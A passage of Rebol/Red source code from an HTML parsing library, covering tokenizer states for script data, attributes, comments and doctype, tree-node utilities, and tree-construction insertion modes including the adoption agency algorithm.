emit also buffer buffer: _
)
]
rawtext-end-tag-name: [
mark:
[space | #"/" | #">"] (
either all [
token/1 = 'end-tag
token/2 = closer
][
closer: _
adjust token
switch series/1 [
#"^-" #"^/" #"^M" #" " [
use before-attribute-name
mark: next series
]
#"/" [
use self-closing-start-tag
mark: next series
]
#">" [
use data
mark: next series
emit also token token: buffer: _
]
]
][
use rawtext
emit "</"
emit also buffer token: buffer: _
]
) :mark
|
copy mark some alpha (
append buffer mark
append token/2 lowercase mark
)
|
(
use rawtext
emit "</"
emit also buffer token: buffer: _
)
]
script-data-less-than-sign: [
#"/" (
use script-data-end-tag-open
buffer: make string! 0
)
|
#"!" (
use script-data-escape-start
emit "<!"
)
|
(
use script-data
emit "<"
)
]
script-data-end-tag-open: [
copy mark some alpha (
use script-data-end-tag-name
append buffer mark
token: reduce ['end-tag lowercase mark _ _]
)
|
(
use script-data
emit "</"
emit also buffer buffer: _
)
]
script-data-end-tag-name: [
mark:
[space | #"/" | #">"] (
either all [
token/1 = 'end-tag
token/2 = closer
][
closer: _
adjust token
switch series/1 [
#"^-" #"^/" #"^M" #" " [
use before-attribute-name
mark: next series
]
#"/" [
use self-closing-start-tag
mark: next series
]
#">" [
use data
mark: next series
emit also token token: buffer: _
]
]
][
use script-data
emit "</"
emit also buffer token: buffer: _
]
) :mark
|
copy mark some alpha (
append buffer mark
append token/2 lowercase mark
)
|
(
use script-data
emit "</"
emit also buffer token: buffer: _
)
]
script-data-escape-start: [
#"-" (
use script-data-escape-start-dash
emit "-"
)
|
(
use script-data
)
]
script-data-escape-start-dash: [
#"-" (
use script-data-escaped-dash-dash
emit "-"
)
|
(
use script-data
)
]
script-data-escaped: [
#"-" (
use script-data-escaped-dash
emit "-"
)
|
#"<" (
use script-data-escaped-less-than-sign
)
|
null-error (
emit unknown
)
|
untimely-end
|
emit-one
]
script-data-escaped-dash: [
#"-" (
use script-data-escaped-dash-dash
emit "-"
)
|
#"<" (
use script-data-escaped-less-than-sign
)
|
null-error (
emit unknown
)
|
untimely-end
|
emit-one (
use script-data-escaped
)
]
script-data-escaped-dash-dash: [
#"-" (
emit "-"
)
|
#"<" (
use script-data-escaped-less-than-sign
)
|
#">" (
use script-data
emit ">"
)
|
null-error (
emit unknown
)
|
untimely-end
|
emit-one (
use script-data-escaped
)
]
script-data-escaped-less-than-sign: [
#"/" (
use script-data-escaped-end-tag-open
buffer: make string! 0
)
|
copy mark some alpha (
use script-data-double-escape-start
emit "<"
emit mark
buffer: lowercase mark
)
|
(
use script-data-escaped
emit "<"
)
]
script-data-escaped-end-tag-open: [
copy mark some alpha (
use script-data-escaped-end-tag-name
append buffer mark
token: reduce ['end-tag lowercase mark _ _]
)
|
(
use script-data-escaped
emit "</"
emit also buffer buffer: _
)
]
script-data-escaped-end-tag-name: [
mark:
[space | #"/" | #">"] (
either all [
token/1 = 'end-tag
token/2 = closer
][
closer: _
adjust token
switch series/1 [
#"^-" #"^/" #"^M" #" " [
use before-attribute-name
mark: next series
]
#"/" [
use self-closing-start-tag
mark: next series
]
#">" [
use data
mark: next series
emit also token token: buffer: _
]
]
][
use script-data-escaped
emit "</"
emit also buffer token: buffer: _
]
) :mark
|
copy mark some alpha (
append buffer mark
append token/2 lowercase mark
)
|
(
use script-data-escaped
emit "</"
emit also buffer token: buffer: _
)
]
script-data-double-escape-start: [
[space | #"/" | #">"] (
either buffer == "script" [
use script-data-double-escaped
][
use script-data-escaped
]
emit series/1
)
|
copy mark some alpha (
emit mark
append buffer lowercase mark
)
|
(
use script-data
)
]
script-data-double-escaped: [
#"-" (
use script-data-double-escaped-dash
emit "-"
)
|
#"<" (
use script-data-double-escaped-less-than-sign
emit "<"
)
|
null-error (
emit unknown
)
|
untimely-end
|
emit-one
]
script-data-double-escaped-dash: [
#"-" (
use script-data-double-escaped-dash-dash
emit "-"
)
|
#"<" (
use script-data-double-escaped-less-than-sign
emit "<"
)
|
null-error (
emit unknown
)
|
untimely-end
|
emit-one (
use script-data-double-escaped
)
]
script-data-double-escaped-dash-dash: [
#"-" (
emit "-"
)
|
#"<" (
use script-data-double-escaped-less-than-sign
emit "<"
)
|
#">" (
use script-data
emit ">"
)
|
null-error (
use script-data-double-escaped
emit unknown
)
|
untimely-end
|
emit-one (
use script-data-double-escaped
)
]
script-data-double-escaped-less-than-sign: [
#"/" (
use script-data-double-escape-end
emit "/"
buffer: make string! 0
)
|
[end | emit-one] (
use script-data-double-escaped
)
]
script-data-double-escape-end: [
mark:
[space | #"/" | #">"] (
either buffer == "script" [
use script-data-escaped
][
use script-data-double-escaped
]
emit mark/1
)
|
copy mark some alpha (
emit mark
append buffer lowercase mark
)
|
(
use script-data-double-escaped
)
]
before-attribute-name: [
some space
|
#"/" (
use self-closing-start-tag
)
|
#">" (
use data
emit also token token: _
)
|
untimely-end
|
[
null-error (mark: unknown)
| copy mark some alpha (lowercase mark)
| copy mark [#"^(22)" | #"'" | #"<" | #"="] error
| copy mark skip
] (
use attribute-name
token/3: any [token/3 make map! 0]
attribute: reduce [mark make string! 0]
)
]
attribute-name: [
[
some space (use after-attribute-name)
| #"/" (use self-closing-start-tag)
| #"=" (use before-attribute-value)
| untimely-end
] (
either find token/3 attribute/1 [
report 'duplicate-attribute
][
put token/3 attribute/1 attribute/2
]
)
|
#">" (
use data
either find token/3 attribute/1 [
report 'duplicate-attribute
][
put token/3 attribute/1 attribute/2
]
emit also token token: attribute: _
)
|
[
null-error (mark: unknown)
|
copy mark some alpha (lowercase mark)
|
copy mark [#"^(22)" | #"'" | #"<"] (
report 'unexpected-character-in-attribute-name
)
|
copy mark skip
] (
append attribute/1 mark
)
]
after-attribute-name: [
some space
|
#"/" (
use self-closing-start-tag
)
|
#"=" (
use before-attribute-value
)
|
#">" (
use data
emit token
)
|
untimely-end
|
[
null-error (mark: unknown)
| copy mark some alpha (lowercase mark)
| [#"^(22)" | #"'" | #"<"] error
| copy mark skip
] (
use attribute-name
attribute: reduce [mark make string! 0]
)
]
before-attribute-value: [
some space
|
#"^(22)" (
use attribute-value-double-quoted
additional-character: #"^(22)"
)
|
#"'" (
use attribute-value-single-quoted
additional-character: #"'"
)
|
#">" (
use data
report 'missing-attribute-value
emit also token token: attribute: _
)
|
(
use attribute-value-unquoted
additional-character: #">"
)
]
attribute-value-double-quoted: [ ; 38
#"^(22)" (
use after-attribute-value-quoted
)
|
#"&" (
use character-reference-in-attribute-value
)
|
untimely-end
|
[null-error (mark: unknown) | copy mark skip] (
append attribute/2 mark
)
]
attribute-value-single-quoted: [
#"'" (
use after-attribute-value-quoted
)
|
#"&" (
use character-reference-in-attribute-value
)
|
untimely-end
|
[null-error (mark: unknown) | copy mark skip] (
append attribute/2 mark
)
]
attribute-value-unquoted: [
some space (
use before-attribute-name
)
|
#"&" (
use character-reference-in-attribute-value
)
|
#">" (
use data
emit also token token: _
)
|
end (
use data
report 'eof-in-tag
)
|
[
null-error (mark: unknown)
|
copy mark [#"^(22)" | #"'" | #"<" | #"=" | #"`"] (
report 'unexpected-character-in-unquoted-attribute-value
)
|
copy mark skip
] (
append attribute/2 mark
)
]
character-reference-in-attribute-value: [
(use :last-state-name)
end
|
and [space | #"&" | #"<" | additional-character]
|
mark: (
character: decode-markup mark
mark: character/2
either character/1 [
append attribute/2 character/1
][
append attribute/2 #"&"
]
) :mark
]
after-attribute-value-quoted: [
some space (
use before-attribute-name
)
|
#"/" (
use self-closing-start-tag
)
|
#">" (
use data
emit also token token: _
)
|
untimely-end
|
(
use attribute-name
)
]
self-closing-start-tag: [
#">" (
use data
token/4: 'self-closing
emit token
)
|
untimely-end
|
(
use before-attribute-name
report "Expected '>'"
)
]
bogus-comment: [
(use data)
[
copy mark to #">" skip
| copy mark to end
] (
emit reduce ['comment mark]
)
]
markup-declaration-open: [
"--" (
use comment-start
token: reduce ['comment make string! 0]
)
|
d o c t y p e (
use doctype
)
|
and "[CDATA[" (
use bogus-comment
report "CDATA not supported"
)
|
(
use bogus-comment
report "Malformed comment"
)
]
comment-start: [
#"-" (
use comment-start-dash
)
|
#">" (
use data
report "Malformed Comment"
emit also token token: _
)
|
untimely-end
|
[
null-error (mark: unknown)
| copy mark skip
] (
use comment
append token/2 mark
)
]
comment-start-dash: [
#"-" (
use comment-end
)
|
#">" (
use data
report "Malformed comment"
emit also token token: _
)
|
untimely-end (
emit also token token: _
)
|
(
use comment
emit "-"
)
]
comment: [
#"-" (
use comment-end-dash
)
|
untimely-end (
emit also token token: _
)
|
[
null-error (mark: unknown)
| copy mark some alpha
| copy mark skip
] (
append token/2 mark
)
]
comment-end-dash: [
#"-" (
use comment-end
)
|
untimely-end (
emit also token token: _
)
|
[
null-error (mark: unknown)
| copy mark skip
] (
use comment
append token/2 #"-"
append token/2 mark
)
]
comment-end: [
#">" (
use data
emit also token token: _
)
|
"!" (
use comment-end-bang
report "Malformed comment"
)
|
#"-" (
report "Too many consecutive dashes in comment"
append token/2 #"-"
)
|
untimely-end (
emit also token token: _
)
|
[
null-error (mark: unknown)
| copy mark skip (report "Expected end of comment")
] (
append token/2 "--"
append token/2 mark
)
]
comment-end-bang: [
#"-" (
use comment-end-dash
append token/2 "--!"
)
|
#">" (
use data
emit also token token: _
)
|
untimely-end (
emit also token token: _
)
|
[
null-error (mark: unknown)
| copy mark skip
] (
use comment
append token/2 "--!"
append token/2 mark
)
]
doctype: [
some space (
use before-doctype-name
)
|
untimely-end (
emit reduce ['doctype _ _ _ 'force-quirks]
)
|
(
use before-doctype-name
report "Extraneous characters in doctype"
)
]
before-doctype-name: [
some space
|
[
null-error (mark: unknown)
| copy mark some alpha (lowercase mark)
| copy mark skip
] (
use doctype-name
token: reduce ['doctype mark _ _ _]
)
|
#">" (
use data
emit reduce ['doctype _ _ _ 'force-quirks]
)
|
untimely-end (
emit reduce ['doctype _ _ _ 'force-quirks]
)
]
doctype-name: [
space (
use after-doctype-name
)
|
#">" (
use data
emit also token token: _
)
|
untimely-end (
token/5: 'force-quirks
emit also token token: _
)
|
[
null-error (mark: unknown)
| copy mark any alpha (lowercase mark)
| copy mark skip
] (
append token/2 mark
)
]
after-doctype-name: [
some space
|
#">" (
use data
emit also token token: _
)
|
untimely-end (
token/5: 'force-quirks
emit also token token: _
)
|
p u b l i c (
use after-doctype-public-keyword
)
|
s y s t e m (
use after-doctype-system-keyword
)
|
skip (
use bogus-doctype
token/5: 'force-quirks
)
]
after-doctype-public-keyword: [
some space (
use before-doctype-public-identifier
)
|
#"^(22)" error (
use doctype-public-identifier-double-quoted
token/3: make string! 0
)
|
#"'" error (
use doctype-public-identifier-single-quoted
token/3: make string! 0
)
|
#">" error (
use data
token/5: 'force-quirks
emit also token token: _
)
|
untimely-end (
token/5: 'force-quirks
emit also token token: _
)
|
skip error (
use bogus-doctype
token/5: 'force-quirks
)
]
before-doctype-public-identifier: [
some space
|
#"^(22)" (
use doctype-public-identifier-double-quoted
token/3: make string! 0
)
|
#"'" (
use doctype-public-identifier-single-quoted
token/3: make string! 0
)
|
#">" error (
use data
token/5: 'force-quirks
emit also token token: _
)
untimely-end (
token/5: 'force-quirks
emit also token token: _
)
|
skip error (
use bogus-doctype
token/5: 'force-quirks
)
]
doctype-public-identifier-double-quoted: [
#"^(22)" (
use after-doctype-public-identifier
)
|
#">" error (
use data
token/5: 'force-quirks
emit also token token: _
)
|
untimely-end (
token/5: 'force-quirks
emit also token token: _
)
|
[null-error (mark: unknown) | copy mark [some alpha | skip]] (
append token/3 mark
)
]
doctype-public-identifier-single-quoted: [
#"'" (
use after-doctype-public-identifier
)
|
#">" error (
use data
token/5: 'force-quirks
emit also token token: _
)
|
untimely-end (
token/5: 'force-quirks
emit also token token: _
)
|
[
null-error (mark: unknown)
| copy mark [some alpha | skip]
] (append token/3 mark)
]
after-doctype-public-identifier: [
space (use between-doctype-public-and-system-identifiers)
|
#">" (
use data
emit also token token: _
)
|
#"^(22)" error (
use doctype-system-identifier-double-quoted
token/4: make string! 0
)
|
#"'" error (
use doctype-system-identifier-single-quoted
token/4: make string! 0
)
|
untimely-end (
token/5: 'force-quirks
emit also token token: _
)
|
skip error (
use bogus-doctype
token/5: 'force-quirks
)
]
between-doctype-public-and-system-identifiers: [
some space
|
#">" (
use data
emit also token token: _
)
|
#"^(22)" (
use doctype-system-identifier-double-quoted
token/4: make string! 0
)
|
#"'" (
use doctype-system-identifier-single-quoted
token/4: make string! 0
)
|
untimely-end (
token/5: 'force-quirks
)
|
skip error (
use bogus-doctype
token/5: 'force-quirks
)
]
after-doctype-system-keyword: [
some space (
use before-doctype-system-identifier
)
|
#"^(22)" (
use doctype-system-identifier-double-quoted
token/4: make string! 0
)
|
#"'" (
use doctype-system-identifier-single-quoted
token/4: make string! 0
)
|
#">" (
use data
report "Premature end of DOCTYPE System ID"
token/5: 'force-quirks
emit also token token: _
)
|
untimely-end (
token/5: 'force-quirks
emit also token token: _
)
|
skip (
use bogus-doctype
report "Unexpected value in DOCTYPE declaration"
token/5: 'force-quirks
)
]
before-doctype-system-identifier: [
some space
|
#"^(22)" (
use doctype-system-identifier-double-quoted
token/4: make string! 0
)
|
#"'" (
use doctype-system-identifier-single-quoted
token/4: make string! 0
)
|
#">" error (
use data
report 'system-identifier-missing
token/5: 'force-quirks
emit also token token: _
)
|
untimely-end (
token/5: 'force-quirks
emit also token token: _
)
|
skip error (
use bogus-doctype
token/5: 'force-quirks
)
]
doctype-system-identifier-double-quoted: [
#"^(22)" (
use after-doctype-system-identifier
)
|
#">" error (
use data
token/5: 'force-quirks
emit also token token: _
)
|
untimely-end (
token/5: 'force-quirks
emit also token token: _
)
|
[
null-error (mark: unknown)
| copy mark some [space | alpha] (lowercase mark)
| copy mark skip
] (
append token/4 mark
)
]
doctype-system-identifier-single-quoted: [
#"'" (
use after-doctype-system-identifier
)
|
#">" error (
use data
token/5: 'force-quirks
emit also token token: _
)
|
untimely-end (
token/5: 'force-quirks
emit also token token: _
)
|
[
null-error (mark: unknown)
| copy mark some [space | alpha] (lowercase mark)
| copy mark skip
] (
append token/4 mark
)
]
after-doctype-system-identifier: [
some space
|
#">" (
use data
emit also token token: _
)
|
untimely-end (
token/5: 'force-quirks
emit also token token: _
)
|
skip (
use bogus-doctype
)
]
bogus-doctype: [
#">" (
use data
emit token
)
|
end (
use data
emit token
)
|
skip
]
cdata-section: [
(use data)
[copy mark to "]]>" 3 skip | copy mark to end]
(emit mark)
]
]
emit: report: _
adjust: func [token][
also token token/2: any [
select rgchris.markup/references/elements token/2
token/2
]
]
current-state-name: current-state: state: last-state-name: _
use: func ['target [word!] /until end-tag [string!]][
last-state-name: :current-state-name
current-state-name: target
if until [closer: :end-tag]
; probe to tag! target
; probe copy/part series 10
state: current-state: any [
select states :target
do make error! rejoin ["No Such State: " uppercase form target]
]
]
rule: [
while [series: state]
series: (
; Work around Red issue: https://github.com/red/red/issues/2907
loop-until [
any [
is-paused
is-done
; (probe state false)
parse/case series [series: state]
]
]
)
]
init: func [
"Initialize the tokenization process"
source [string!] "A markup string to tokenize"
token-handler [function!] "A function to handle tokens"
error-handler [function!] "A function to handle errors"
][
mark: buffer: attribute: token: last-token: character: additional-character: _
current-state-name: current-state: state: last-state-name: _
is-paused: is-done: false
series: :source
emit: :token-handler
report: :error-handler
self
]
start: func [
"Start the tokenization process"
][
unless string? series [
do make error! "Tokenization process has not been initialized"
]
use data
parse/case series rule
]
pause: func [
"Pause the tokenization process"
][
is-paused: true
state: [fail]
]
resume: func [
"Resume the tokenization process"
][
unless string? series [
do make error! "Tokenization process has not been initialized"
]
is-paused: false
state: :current-state
parse/case series rule
]
]
html-tokenizer: rgchris.markup/html-tokenizer
rgchris.markup/load: make object! [
last-token: _
load-markup: func [source [string!]][
last-token: _
collect [
html-tokenizer/init source
func [token [block! char! string!]][
case [
not block? token [
either all [
last-token
last-token/1 = 'text
][
append last-token/2 token
token: last-token
][
token: reduce ['text to string! token]
keep token/2
]
]
token/1 = 'tag [
keep to tag! token/2
if map? token/3 [keep token/3]
if token/4 [keep </>]
switch token/2 [
script [
html-tokenizer/use/until script-data form token/2
]
title [
html-tokenizer/use/until rcdata form token/2
]
style textarea [
html-tokenizer/use/until rawtext form token/2
]
]
]
token/1 = 'end-tag [
keep to tag! rejoin ["/" token/2]
]
token/1 = 'comment [
keep to tag! rejoin ["!--" token/2 "--"]
]
]
also _ last-token: :token
]
func [value][value]
html-tokenizer/start
]
]
]
load-markup: get in rgchris.markup/load 'load-markup
trees: make object! [
; new: does [
; make map! [parent _ first _ last _ type document]
; ]
;
; make-node: does [
; make map! compose/only [
; parent _ back _ next _ first _ last _
; type _ name _ value _
; ]
; ]
new: does [
new-line/all/skip copy [
parent _ first _ last _ name _ public _ system _
form _ head _ body _ type document
] true 2
]
make-node: does [
new-line/all/skip copy [
parent _ back _ next _ first _ last _
type _ name _ value _
] true 2
]
insert-before: func [item [block! map!] /local node][
node: make-node
node/parent: item/parent
node/back: item/back
node/next: item
either blank? item/back [
item/parent/first: node
][
item/back/next: node
]
item/back: node
]
insert-after: func [item [block! map!] /local node][
node: make-node
node/parent: item/parent
node/back: item
node/next: item/next
either blank? item/next [
item/parent/last: node
][
item/next/back: node
]
item/next: node
]
insert: func [list [block! map!]][
either list/first [
insert-before list/first
][
also list/first: list/last: make-node
list/first/parent: list
]
]
append: func [list [block! map!]][
either list/last [
insert-after list/last
][
insert list
]
]
append-existing: func [list [block! map!] node [block! map!]][
node/parent: list
node/next: _
either blank? list/last [
node/back: _
list/first: list/last: node
][
node/back: list/last
node/back/next: node
list/last: node
]
]
remove: func [item [block! map!] /back /next][
unless item/parent [
do make error! "Node does not exist in tree"
]
either item/back [
item/back/next: item/next
][
item/parent/first: item/next
]
either item/next [
item/next/back: item/back
][
item/parent/last: item/back
]
item/parent: item/back: item/next: _ ; node becomes freestanding
case [
back [item/back]
next [item/next]
/else [item]
]
]
clear: func [list [block! map!]][
while [list/first][remove list/first]
]
clear-from: func [item [block! map!]][
also item/back
loop-until [not item: remove item]
]
walk: func [node [block! map!] callback [block!] /into /only][
case bind compose/deep [
only [
node: node/first
while [:node][
(to group! callback)
node: node/next
]
]
/else [
(to group! callback)
node: node/first
while [:node][
walk/into node callback
node: node/next
]
]
] 'node
]
]
rgchris.markup/markup-as-block: function [node [map! block!]][
tags: rgchris.markup/references/tags
new-line/all/skip collect [
switch/default node/type [
element [
keep any [
select tags node/name
node/name
]
either any [node/value node/first][
keep/only new-line/all/skip collect [
if node/value [
keep %.attrs
keep node/value
]
kid: node/first
while [kid][
keep markup-as-block kid
kid: kid/next
]
] true 2
][
keep _
]
]
document [
kid: node/first
while [kid][
keep markup-as-block kid
kid: kid/next
]
]
text [
keep %.txt
keep node/value
]
comment [
keep %.comment
keep to tag! rejoin ["!--" node/value "--"]
]
][
keep _
keep to tag! node/type
]
] true 2
]
markup-as-block: select rgchris.markup 'markup-as-block
rgchris.markup/load-html: make object! [
document: space: head-node: body-node: form-node: parent: kid: last-token: _
open-elements: active-formatting-elements: pending-table-characters:
current-node: nodes: node: mark: _
insertion-point: insertion-type: _
fostering?: false
specials: [
address applet area article aside base basefont bgsound blockquote body br button
caption center col colgroup dd details dir div dl dt embed fieldset figcaption
figure footer form frame frameset h1 h2 h3 h4 h5 h6 head header hgroup hr html
iframe img input isindex li link listing main marquee meta nav noembed noframes
noscript object ol p param plaintext pre script section select source style
summary table tbody td template textarea tfoot th thead title tr track ul wbr xmp
mi mo mn ms mtext annotation-xml
foreignobject desc title
]
formatting: [
a b big code em font i nobr s small strike strong tt u
]
scopes: [
default: [
applet caption html table td th marquee object
mi mo mn ms mtext annotation-xml
foreignobject desc title
]
list-item: [
applet caption html table td th marquee object
mi mo mn ms mtext annotation-xml
foreignobject desc title
ul ol
]
button: [
applet caption html table td th marquee object
mi mo mn ms mtext annotation-xml
foreignobject desc title
button
]
table: [html table]
select: [optgroup option]
]
implied-end-tags: [
dd dt li option optgroup p rb rp rt rtc
]
header-elements: [
h1 h2 h3 h4 h5 h6
]
ruby-elements: [
rb rp rt rtc
]
push: func [node [block! map!]][
also current-node: node insert/only open-elements node
]
pop-element: does [
also take open-elements current-node: pick open-elements 1
]
push-formatting: func [node [block! map! issue!] /local mark count][
also node case [
; issue? node [
; ]
/else [
count: 1
mark: :active-formatting-elements
while [
not any [
tail? mark
issue? first mark
]
][
either all [
equal? node/name mark/1/name
maps-equal? node/value mark/1/value
(rgchris.markup/increment count) > 3
][
remove mark
][
mark: next mark
]
]
insert/only active-formatting-elements node
]
]
]
pop-formatting: func [node [block! map! issue!]][
also node case [
issue? node [
while [not tail? active-formatting-elements][
if issue? take active-formatting-elements [
break
]
]
]
/else [
remove-each element active-formatting-elements [
same? element node
]
]
]
]
find-element: func [from [block!] element [block! map!]][
catch [
also _ forall from [
case [
issue? from/1 [break]
same? element from/1 [
throw from
]
]
]
]
]
select-element: func [from [block!] name [word! string!]][
catch [
also _ foreach node from [
case [
issue? node [break]
node/name = name [throw node]
]
]
]
]
tagify: func [name [word! string!] /close /local source][
source: either close ['end-tags]['tags]
any [
select rgchris.markup/references/:source name
name
]
]
set-insertion-point: func [override-target [blank! block! map!] /local target last-table][
target: any [
:override-target
current-node
]
insertion-type: 'append
insertion-point: either all [
fostering?
find [table tbody tfoot thead tr] target/name
][
case [
blank? last-table: select-element open-elements 'table [
last open-elements
]
last-table/parent [
insertion-type: 'before
last-table
]
/else [
first next find-element open-elements last-table
]
]
][
target
]
]
reset-insertion-mode: func [/local mark node][
mark: :open-elements
forall mark [
if any-value? switch tagify mark/1/name [
<select> [
use in-select
foreach node next mark [
switch tagify node/name [
<template> [break]
<table> [
use in-select-in-table
break
]
]
]
state
]
<td> <th> [either tail? next mark [_][use in-cell]]
<tr> [use in-row]
<tbody> <tfoot> <thead> [use in-table-body]
<caption> [use in-caption]
<colgroup> [use in-column-group]
<table> [use in-table]
; <template> [use in-body] ; template not supported at this time
<head> [either tail? next mark [_][use in-head]]
<body> [use in-body]
<frameset> [use in-frameset]
<html> [
either document/head [
use after-head
][
use before-head
]
]
][
break
]
]
]
append-element: func [token [block!] /to parent [map! block!] /namespace 'space [word!] /local node][
; probe token
set-insertion-point any [:parent _]
unless map? :parent [parent: :current-node]
unless word? :space [space: 'html]
node: switch insertion-type [
append [trees/append insertion-point]
before [trees/insert-before insertion-point]
]
node/type: 'element
node/name: token/2
node/value: pick token 3
node
]
append-comment: func [token [block!] /to parent [map! block!] /local node][
set-insertion-point any [:parent _]
node: switch insertion-type [
append [trees/append insertion-point]
before [trees/insert-before insertion-point]
]
node/type: 'comment
node/value: token/2
node
]
append-text: func [token [char! string!] /to parent [map! block!] /local target][
set-insertion-point any [:parent _]
target: switch insertion-type [
append [insertion-point/last]
before [insertion-point/back]
]
unless all [
target
target/type = 'text
][
target: switch insertion-type [
append [trees/append insertion-point]
before [trees/insert-before insertion-point]
]
target/type: 'text
target/value: make string! 0
]
append target/value token
]
close-element: func [token [block!]][
foreach node open-elements [
case [
token/2 = node/name [
generate-implied-end-tags/thru :token/2
pop-formatting node ; temporary until adoption agency algorithm works
break
]
find specials node/name [
; error
break
]
]
]
]
find-in-scope: func ['target [word! block!] /scope 'scope-name [word!] /local mark][
if word? :target [target: reduce [target]]
unless word? :scope-name [
scope-name: 'default
]
scope: any [
select scopes scope-name
do make error! rejoin ["Scope not available: " to tag! scope-name]
]
; Red alters series position with FORALL
mark: :open-elements
catch [
also false forall mark [
case [
find target mark/1/name [throw mark/1]
find scope mark/1/name [break]
]
]
]
]
find-element-in-scope: func [
element [block! map!]
/scope 'scope-name [word!]
/local mark
][
unless word? :scope-name [
scope-name: 'default
]
scope: any [
select scopes scope-name
do make error! rejoin ["Scope not available: " to tag! scope-name]
]
; Red alters series position with FORALL
mark: :open-elements
catch [
also false forall mark [
case [
same? element mark/1 [throw mark]
find scope mark/1/name [break]
]
]
]
]
close-thru: func ['name [word! string! block!] /quiet][
name: compose [(name)]
loop-until [
; is assumed that NAME exists in the OPEN-ELEMENTS stack
to logic! find name select pop-element 'name
]
current-node
]
generate-implied-end-tags: func [
/thru 'target [word! string! block!]
/except exceptions [block!]
][
target: compose [(any [:target []])]
exceptions: compose [
(target) (any [:exceptions []])
]
while compose/only [
find (exclude implied-end-tags exceptions) current-node/name
][
pop-element
]
if thru [
unless find target current-node/name [
; error
]
close-thru :target
]
current-node
]
close-para-if-in-scope: func [/local node][
if find-in-scope/scope p button [
generate-implied-end-tags/thru p
]
]
probe-stacks: does [
print unspaced [
"Open Elements: " mold map-each item open-elements [item/name] newline
"Active Formatting: " mold map-each item active-formatting-elements [
either issue? item [item][item/name]
] newline
]
]
reconstruct-formatting-elements: does [
unless empty? active-formatting-elements [
while [
not tail? active-formatting-elements
][
either any [
issue? first active-formatting-elements
find-element open-elements first active-formatting-elements
][
break
][
active-formatting-elements: next active-formatting-elements
]
]
while [
not head? active-formatting-elements
][
active-formatting-elements: back active-formatting-elements
change/only active-formatting-elements push append-element reduce [
'tag active-formatting-elements/1/name active-formatting-elements/1/value
]
]
]
]
adopt: func [
token [block!]
/local formatting-element element clone subject count
common-ancestor bookmark node last-node position mark furthest-block
][
subject: token/2
either all [
equal? current-node/name subject
not find-element active-formatting-elements current-node
][
pop-element
][
loop 8 [
formatting-element: select-element active-formatting-elements :subject
case [
not formatting-element [
close-element token
break
]
not find-element open-elements formatting-element [
report 'adoption-agency-1.2
pop-formatting formatting-element
break
]
not find-element-in-scope formatting-element [
report 'adoption-agency-4.4
break
]
not same? current-node formatting-element [
report 'adoption-agency-1.3
]
]
mark: find-element copy open-elements formatting-element
common-ancestor: first next mark
unless furthest-block: catch [
also _ while [not head? mark][
mark: back mark
if find specials mark/1/name [
throw mark/1
]
]
][
loop-until [
same? formatting-element pop-element
]
pop-formatting formatting-element
break
]
bookmark: find-element active-formatting-elements formatting-element
node: last-node: furthest-block
count: 0
forever [
rgchris.markup/increment count
node: first mark: next mark
case/all [
same? formatting-element node [
break
]
all [
count > 3
find-element active-formatting-elements node
][
pop-formatting node
]
not find-element active-formatting-elements node [
remove find-element open-elements node
continue
]
]
clone: trees/make-node
clone/type: 'element
clone/name: node/name
clone/value: node/value
change/only find-element open-elements node clone
change/only find-element active-formatting-elements node clone
node: :clone
if same? furthest-block last-node [
bookmark: find-element active-formatting-elements clone
]
trees/append-existing node trees/remove last-node
last-node: :node
]
if last-node/parent [
trees/remove last-node
]
set-insertion-point common-ancestor
trees/append-existing insertion-point last-node
clone: trees/make-node
clone/type: 'element
clone/name: formatting-element/name
clone/value: formatting-element/value
while [furthest-block/first][
trees/append-existing clone trees/remove furthest-block/first
]
trees/append-existing furthest-block clone
insert/only bookmark clone
pop-formatting formatting-element
remove find-element open-elements formatting-element
insert/only find-element open-elements furthest-block clone
current-node: first open-elements
]
]
]
clear-stack-to-table: func [/body /row /local target][
target: case [
body [[tbody tfoot thead template html]]
row [[tr template html]]
/else [scopes/table]
]
while compose/only [
not find (target) current-node/name
][
pop-element
]
]
finish-up: does [
while [
not empty? open-elements
][
pop-element
]
]
states: [
initial: [
"Initial"
space []
doctype [
document/name: token/2
document/public: token/3
document/system: token/4
use before-html
]
tag end-tag text end [
; error
use before-html
do-token token
]
comment [append-comment/to token document]
]
before-html: [
"Before HTML"
space []
doctype [
report 'unexpected-doctype
]
<html> [
push append-element/to token document
use before-head
]
text tag </head> </body> </html> </br> end else [
push append-element/to [tag html] document
use before-head
do-token token
]
comment [append-comment/to token document]
]
before-head: [
"Before Head"
space []
doctype [
report 'unexpected-doctype
]
<html> [
do-token/in token in-body
]
<head> [
document/head: push append-element token
use in-head
]
text tag </head> </body> </html> </br> end else [
document/head: push append-element [tag head]
use in-head
do-token token
]
end-tag [
; error
]
comment [append-comment token]
]
in-head: [
"In Head"
space [
append-text token
]
doctype [
report 'unexpected-doctype
]
<html> [
do-token/in token in-body
]
<base> <basefont> <bgsound> <link> <meta> [
append-element token
]
<title> [
push append-element token
html-tokenizer/use/until rcdata form token/2
use/return text
]
<noframes> <style> [
push append-element token
html-tokenizer/use/until rawtext form token/2
use/return text
]
<noscript> [ ; scripting flag is false
push append-element token
use in-head-noscript
]
<script> [
push append-element token
html-tokenizer/use/until script-data form token/2
use/return text
]
<head> [
; error
]
</head> [
pop-element
use after-head
]
text tag </body> </html> </br> end else [
pop-element
use after-head
do-token token
]
end-tag [
; error
]
comment [append-comment token]
]
in-head-noscript: [
"In Head (NoScript)"
space [
do-token/in token in-head
]
doctype [
; error
]
<html> [
do-token/in token in-body
]
<basefont> <bgsound> <link> <meta> <noframes> <style> [
do-token/in token in-head
]
<head> <noscript> [
; error
]
</noscript> [
pop-element
use in-head
]
text tag </br> end else [
; error
node: node/parent
use in-head
do-token token
]
end-tag [
; error
]
comment [do-token/in token in-head]
]
after-head: [
"After Head"
space [append-text token]
doctype [
; error
]
<html> [
do-token/in token in-body
]
<body> [
document/body: push append-element token
use in-body
]
<frameset> [
push append-element token
use in-frameset
]
<base <basefont> <bgsound> <link> <meta> <noframes>
<script> <style> <template> <title> [
; error
push document/head
do-token/in token in-head
]
<head> [
; error
]
text tag </body> </html> </br> end else [
document/body: push append-element [tag body]
use in-body
do-token token
]
end-tag [
; error
]
comment [append-comment token]
]
in-body: [
"In Body"
space text [
reconstruct-formatting-elements
append-text token
]
doctype [
report 'unexpected-doctype
]
<html> [
; error
; check attributes
]
<base> <basefont> <bgsound> <link> <meta> <noframes>
<script> <style> <template> <title> [
; error
do-token/in token in-head
]
<body> [
; error
; check attributes
]
<frameset> [
; error
; handle frameset
]
<address> <article> <aside> <blockquote> <center> <details> <dialog>
<dir> <div> <dl> <fieldset> <figcaption> <figure> <footer> <header>
<hgroup> <main> <nav> <ol> <p> <section> <summary> <ul> [
close-para-if-in-scope
